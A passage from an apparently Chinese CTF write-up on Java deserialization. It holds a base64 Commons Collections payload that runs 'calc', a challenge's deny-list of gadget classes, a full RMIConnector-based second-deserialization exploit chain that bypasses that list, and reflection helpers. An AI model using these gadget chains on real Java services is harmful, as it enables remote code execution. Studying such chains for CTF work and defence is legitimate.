jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] decode = Base64.getDecoder().decode(s);</span><br><span class="line">        System.out.println(<span class="keyword">new</span> <span class="title class_">String</span>(decode));</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(decode);</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(byteArrayInputStream).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250701075602-qjphq0h.png" alt="image"></p><p>可以看到这道题目</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">String[] denyClasses = &#123; <span class="string">&quot;java.net.InetAddress&quot;</span>,</span><br><span class="line">        <span class="string">&quot;sun.rmi.transport.tcp.TCPTransport&quot;</span>,</span><br><span class="line">        <span class="string">&quot;sun.rmi.transport.tcp.TCPEndpoint&quot;</span>,</span><br><span class="line">        <span class="string">&quot;sun.rmi.transport.LiveRef&quot;</span>,</span><br><span class="line">        <span class="string">&quot;sun.rmi.server.UnicastServerRef&quot;</span>,</span><br><span class="line">        <span class="string">&quot;sun.rmi.server.UnicastRemoteObject&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.map.TransformedMap&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.ChainedTransformer&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.InstantiateTransformer&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.map.LazyMap&quot;</span>,</span><br><span class="line">        <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>,</span><br><span class="line">        <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.ConstantTransformer&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.MapTransformer&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.FactoryTransformer&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.InstantiateFactory&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.keyvalue.TiedMapEntry&quot;</span>,</span><br><span class="line">        <span class="string">&quot;javax.management.BadAttributeValueExpException&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.map.DefaultedMap&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.bag.TreeBag&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.comparators.TransformingComparator&quot;</span>,</span><br><span class="line">        <span class="string">&quot;org.apache.commons.collections.functors.TransformerClosure&quot;</span>,</span><br><span class="line">        <span class="string">&quot;java.util.Hashtable&quot;</span>,</span><br><span class="line">        <span class="string">&quot;java.util.HashMap&quot;</span>,</span><br><span class="line">        <span class="string">&quot;java.net.URL&quot;</span>,</span><br><span class="line">        <span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,</span><br><span class="line">        <span class="string">&quot;java.security.SignedObject&quot;</span>,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>我们可以使用rmi二次反序列化</p><h2 id="rmi二次反序列化"><a href="#rmi二次反序列化" class="headerlink" title="rmi二次反序列化"></a>rmi二次反序列化</h2><p>也就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> com.n1ght.javassist.TomcatEcho;</span><br><span class="line"><span class="keyword">import</span> com.n1ght.sink.SinkTools;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.Repository;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantFactory;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.LazyList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.TransformedList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.ListOrderedMap;  </span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;  </span><br><span class="line"><span class="keyword">import</span> sun.security.provider.certpath.X509CertPath;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.remote.JMXServiceURL;</span><br><span class="line"><span class="keyword">import</span> javax.management.remote.rmi.RMIConnector;</span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.security.CodeSigner;  </span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ccExp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">getPayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">templates</span> <span class="operator">=</span> SinkTools.getTemplates(Repository.lookupClass(Exp.class).getBytes());</span><br><span class="line"><span class="comment">//        Object templates = SinkTools.getTemplates(TomcatEcho.testCalc());</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        ArrayList&lt;Object&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        list.add(<span class="literal">null</span>);</span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate1</span> <span class="operator">=</span> TransformedList.decorate(list, invokerTransformer);</span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate</span> <span class="operator">=</span> LazyList.decorate(decorate1, <span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(templates));</span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        <span class="type">ListOrderedMap</span> <span class="variable">decorated</span> <span class="operator">=</span> (ListOrderedMap) ListOrderedMap.decorate(map);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) field.get((Object) <span class="literal">null</span>);</span><br><span class="line">        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField(<span class="string">&quot;insertOrder&quot;</span>)), decorate);</span><br><span class="line">        <span class="type">X509CertPath</span> <span class="variable">o</span> <span class="operator">=</span> (X509CertPath) unsafe.allocateInstance(X509CertPath.class);</span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField(<span class="string">&quot;certs&quot;</span>)), decorate);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> unsafe.allocateInstance(CodeSigner.class);</span><br><span class="line">        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField(<span class="string">&quot;signerCertPath&quot;</span>)), o);</span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">list2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();</span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();</span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) getFieldValue(manager, <span class="string">&quot;edits&quot;</span>);</span><br><span class="line">        vector.add(o1);</span><br><span class="line">        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField(<span class="string">&quot;listenerList&quot;</span>)),<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, manager&#125;);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao).writeObject(list2);</span><br><span class="line">        <span class="keyword">return</span> Base64.getEncoder().encodeToString(bao.toByteArray());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">JMXServiceURL</span> <span class="variable">jmxServiceURL</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JMXServiceURL</span>(<span class="string">&quot;service:jmx:rmi://&quot;</span>);</span><br><span class="line">        ReflectTools.setFieldValue(jmxServiceURL, <span class="string">&quot;urlPath&quot;</span>, <span class="string">&quot;/stub/&quot;</span>+getPayload());</span><br><span class="line">        <span class="type">RMIConnector</span> <span class="variable">rmiConnector</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RMIConnector</span>(jmxServiceURL, <span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;connect&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        ArrayList&lt;Object&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  </span><br><span class="line">        list.add(<span class="literal">null</span>);  </span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate1</span> <span class="operator">=</span> TransformedList.decorate(list, invokerTransformer);</span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate</span> <span class="operator">=</span> LazyList.decorate(decorate1, <span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(rmiConnector));</span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        <span class="type">ListOrderedMap</span> <span class="variable">decorated</span> <span class="operator">=</span> (ListOrderedMap) ListOrderedMap.decorate(map);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);  </span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) field.get((Object) <span class="literal">null</span>);  </span><br><span class="line">        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField(<span class="string">&quot;insertOrder&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">X509CertPath</span> <span class="variable">o</span> <span class="operator">=</span> (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  </span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField(<span class="string">&quot;certs&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> unsafe.allocateInstance(CodeSigner.class);  </span><br><span class="line">        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField(<span class="string">&quot;signerCertPath&quot;</span>)), o);  </span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">list2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();  </span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();  </span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) getFieldValue(manager, <span class="string">&quot;edits&quot;</span>);  </span><br><span class="line">        vector.add(o1);  </span><br><span class="line">        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField(<span class="string">&quot;listenerList&quot;</span>)),<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, manager&#125;);</span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fileOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;1.ser&quot;</span>);</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fileOutputStream).writeObject(list2);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">N1ghtObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;1.ser&quot;</span>)).readObject();</span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getFieldValue</span><span class="params">(Object obj, String fieldName)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);  </span><br><span class="line">        <span class="keyword">return</span> field.get(obj);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(Class&lt;?&gt; clazz, String fieldName)</span> &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            field = clazz.getDeclaredField(fieldName);  </span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchFieldException var4) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>) &#123;  </span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> field;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>ReflectionTools</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by FernFlower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.AccessibleObject;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Array;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> sun.reflect.ReflectionFactory;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReflectTools</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ReflectTools</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setAccessible</span><span class="params">(AccessibleObject member)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        member.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(Class&lt;?&gt; clazz, String fieldName)</span> &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            field = clazz.getDeclaredField(fieldName);</span><br><span class="line">            setAccessible(field);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var4) &#123;</span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>) &#123;</span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> field;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getFieldValue</span><span class="params">(Object obj, String fieldName)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);</span><br><span class="line">        <span class="keyword">return</span> field.get(obj);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Constructor&lt;?&gt; getFirstCtor(String name) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Constructor&lt;?&gt; ctor = Class.forName(name).getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">        setAccessible(ctor);</span><br><span class="line">        <span class="keyword">return</span> ctor;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">newInstance</span><span class="params">(String className, Object... args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> getFirstCtor(className).newInstance(args);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithoutConstructor</span><span class="params">(Class&lt;T&gt; classToInstantiate)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> createWithConstructor(classToInstantiate, Object.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithConstructor</span><span class="params">(Class&lt;T&gt; classToInstantiate, Class&lt;? <span class="built_in">super</span> T&gt; constructorClass, Class&lt;?&gt;[] consArgTypes, Object[] consArgs)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Constructor&lt;? <span class="built_in">super</span> T&gt; objCons = constructorClass.getDeclaredConstructor(consArgTypes);</span><br><span class="line">        setAccessible(objCons);</span><br><span class="line">        Constructor&lt;?&gt; sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);</span><br><span class="line">        setAccessible(sc);</span><br><span class="line">        <span class="keyword">return</span> (T) sc.newInstance(consArgs);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> HashMap&lt;Object, Object&gt; <span class="title function_">makeMap</span><span class="params">(Object v1, Object v2)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        HashMap&lt;Object, Object&gt; s = <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;size&quot;</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">        Class nodeC;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$Node&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (ClassNotFoundException var6) &#123;</span><br><span class="line">            nodeC = Class.forName(<span class="string">&quot;java.util.HashMap$EntAry&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);</span><br><span class="line">        nodeCons.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line">        Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, v1, v1, <span class="literal">null</span>));</span><br><span class="line">        Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, v2, v2, <span class="literal">null</span>));</span><br><span class="line">        setFieldValue(s, <span class="string">&quot;table&quot;</span>, tbl);</span><br><span class="line">        <span class="keyword">return</span> s;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Method <span class="title function_">getDeclaredMethod</span><span class="params">(Class clazz, String methodName, Class[] params)</span> &#123;</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span 